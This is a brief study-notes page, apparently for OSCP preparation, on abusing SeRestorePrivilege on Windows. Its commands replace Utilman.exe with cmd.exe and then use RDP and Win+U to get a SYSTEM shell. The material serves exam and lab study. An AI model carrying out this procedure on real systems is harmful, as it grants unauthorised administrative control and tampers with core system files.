Whoami Priv Serestoreprivilege

Notes from oscp.adot8.com — windows privilege escalation.

#windows privilege escalation#adot8

source · oscp.adot8.com · windows-privilege-escalation/whoami-priv_serestoreprivilege ↗

SeRestorePrivilege

code

01PRIVILEGES INFORMATION
02----------------------
03 
04Privilege Name                Description                    State
05============================= ============================== =======
06SeRestorePrivilege            Restore files and directories  Enabled

{% embed url="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1" %}

code

01.\EnableSeRestorePrivilege.ps1

code

01ren C:\Windows\System32\Utilman.exe C:\Windows\System32\Utilman.pwned
02ren C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

code

01rdesktop 192.168.241.165

{% hint style="info" %} Hit Win + U {% endhint %}